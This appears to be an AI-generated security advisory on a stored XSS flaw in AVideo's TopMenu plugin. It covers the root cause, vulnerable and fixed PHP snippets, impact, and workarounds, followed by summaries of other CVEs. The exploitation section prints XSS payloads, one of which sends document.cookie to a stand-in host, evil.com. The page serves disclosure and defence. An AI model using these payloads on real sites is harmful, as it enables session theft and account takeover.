CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GMPC-FXG2-VCMQ

GHSA-GMPC-FXG2-VCMQ: Stored Cross-Site Scripting (XSS) in AVideo TopMenu Plugin

Alon Barad
Alon Barad
Software Engineer

Apr 2, 2026·6 min read·26 visits

Executive Summary (TL;DR)

A stored XSS flaw in AVideo's TopMenu plugin allows injected JavaScript to execute on every public page, potentially leading to widespread account takeover. The vulnerability is currently unpatched.

The TopMenu plugin in AVideo up to version 26.0 contains a stored cross-site scripting (XSS) vulnerability. User-controlled menu fields lack proper output encoding, allowing administrative users to inject malicious JavaScript that executes globally across all public-facing pages.

Vulnerability Overview

The AVideo platform, formerly known as YouPHPTube, is an open-source video sharing and streaming application. The TopMenu plugin extends the platform's user interface by allowing administrators to configure custom navigation bars. These navigation elements are injected into all public-facing pages via global plugin hooks.

GHSA-GMPC-FXG2-VCMQ details a stored cross-site scripting (XSS) vulnerability within this plugin. The flaw originates from the insecure rendering of user-controlled menu item properties. Because the plugin processes these values without sanitization, malicious payloads are embedded directly into the Document Object Model (DOM) of the application.

The vulnerability exposes all site visitors to client-side attacks. Any user navigating to a page where the TopMenu hook is active will execute the stored payload. This creates a persistent, high-exposure attack surface that affects unauthenticated visitors and authenticated administrators alike.

Root Cause Analysis

The core of this vulnerability is the complete absence of output encoding during HTML generation. The TopMenu plugin constructs the navigation menu by querying configured items from the database. The retrieved data structures include properties for the menu text label, the destination URL, and the CSS classes used for rendering icons.

When iterating over these database records, the PHP backend concatenates the raw string values directly into HTML tags. Standard security practices require passing user-controlled strings through functions like htmlspecialchars() before inclusion in the HTML response. The failure to apply HTML entity encoding allows arbitrary characters, including angle brackets and quote marks, to break out of their intended attribute contexts.

For example, an attacker can input a string containing a closing quote and a closing bracket into the icon class field. The resulting server response will prematurely terminate the icon tag and begin rendering subsequent attacker-supplied tags. This mechanism enables the introduction of arbitrary <script> elements or inline event handlers directly into the page source.

Code Analysis

The vulnerability manifests during the HTML generation routine of the TopMenu plugin. While no official patch is currently available, analyzing the rendering logic highlights the exact failure point. The plugin retrieves menu configuration objects and directly injects their properties into anchor tags.

The vulnerable implementation takes the href attribute, the class attribute, and the inner text directly from the stored object.

// Conceptual vulnerable implementation
$iconClass = $menuItem->iconClass;
$url = $menuItem->url;
$label = $menuItem->label;
 
// Direct concatenation without output encoding
$html .= "<a href=\"" . $url . "\">";
$html .= "<i class=\"" . $iconClass . "\"></i> ";
$html .= $label;
$html .= "</a>";

A secure implementation requires explicit context-aware output encoding. The htmlspecialchars() function must be applied with the ENT_QUOTES flag to ensure that both single and double quotes are correctly escaped.

// Conceptual secure implementation
$html .= "<a href=\"" . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . "\">";
$html .= "<i class=\"" . htmlspecialchars($iconClass, ENT_QUOTES, 'UTF-8') . "\"></i> ";
$html .= htmlspecialchars($label, ENT_QUOTES, 'UTF-8');
$html .= "</a>";

Exploitation

Exploitation requires the attacker to possess the ability to modify the TopMenu plugin configuration. This is typically restricted to administrative users. However, an unauthenticated attacker can achieve this prerequisite by leveraging Cross-Site Request Forgery (CSRF) or by capturing administrative credentials via alternative vectors.

Once access is secured, the attacker navigates to the plugin's configuration interface and injects specific XSS payloads into the vulnerable fields. A payload targeting the icon class field uses "><script>alert(document.cookie)</script> to break out of the class attribute. A payload in the text label field uses "><img src=x onerror=fetch('https://evil.com/?cookie='+document.cookie)> to execute JavaScript upon image load failure.

The persistence mechanism guarantees that the payload remains active until manually removed from the database. When any user requests a page on the AVideo instance, the TopMenu plugin retrieves the configuration and serves the malicious DOM. The payload executes automatically in the victim's browser context without requiring further interaction.

Impact Assessment

The CVSS 3.1 base score for this vulnerability is 6.1 (Medium), characterized by the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The 'Privileges Required' metric is categorized as None because the ultimate victims of the vulnerability do not need privileges to trigger the execution phase. The 'Scope' metric is Changed, reflecting that the server-side vulnerability directly impacts the client-side environment.

The primary consequence of this vulnerability is the exposure of active session tokens. Attackers can write JavaScript payloads that read document.cookie and exfiltrate the data to an external listener. This leads directly to account takeover, allowing the attacker to impersonate legitimate users or administrators.

Furthermore, the global nature of the TopMenu plugin maximizes the attack surface. Because the navigation bar is rendered universally across the AVideo application, the payload achieves a 100% execution rate for all unique site visitors. This allows for rapid, automated credential harvesting and broad distribution of secondary client-side attacks, such as fake authentication overlays.

Remediation

As of the publication date, no official patch has been released by the AVideo maintainers. Systems running AVideo up to and including version 26.0 remain vulnerable. Administrators must implement immediate operational workarounds to secure their deployments against this attack vector.

The most effective immediate mitigation is to disable the TopMenu plugin entirely via the AVideo plugin manager. Disabling the plugin prevents the vulnerable rendering logic from executing and eliminates the attack surface. Administrators should rely on default navigation structures until an updated, secure version of the plugin is provided.

For environments where disabling the plugin is not feasible, organizations must deploy strict Web Application Firewall (WAF) rules. These rules should inspect POST requests targeting the TopMenu configuration endpoints and block payloads containing common XSS signatures, such as <script>, onerror, and javascript:. Additionally, security teams should audit the database directly to identify and remove any unauthorized or suspicious menu configuration entries.

Technical Appendix

CVSS Score
6.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Affected Systems

AVideo Base Installation (up to v26.0)AVideo TopMenu Plugin

Affected Versions Detail

Product
Affected Versions
Fixed Version
AVideo
WWBN
<= 26.0Unpatched
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored XSS)
CVSS v3.1 Score6.1
ImpactSession Hijacking, Phishing, Forced Actions
Exploit StatusProof-of-Concept
ComponentTopMenu Plugin
Fix StatusUnpatched

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1539Steal Web Session Cookie
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability published in the GitHub Advisory Database
2026-04-01
Vulnerability indexed in the GitLab Advisory Database
2026-04-01

References & Sources

  • [1]GitHub Advisory
  • [2]GitLab Advisory
  • [3]Product Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 7 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 7 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 8 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 8 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
5 views•6 min read
•about 9 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 9 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
6 views•5 min read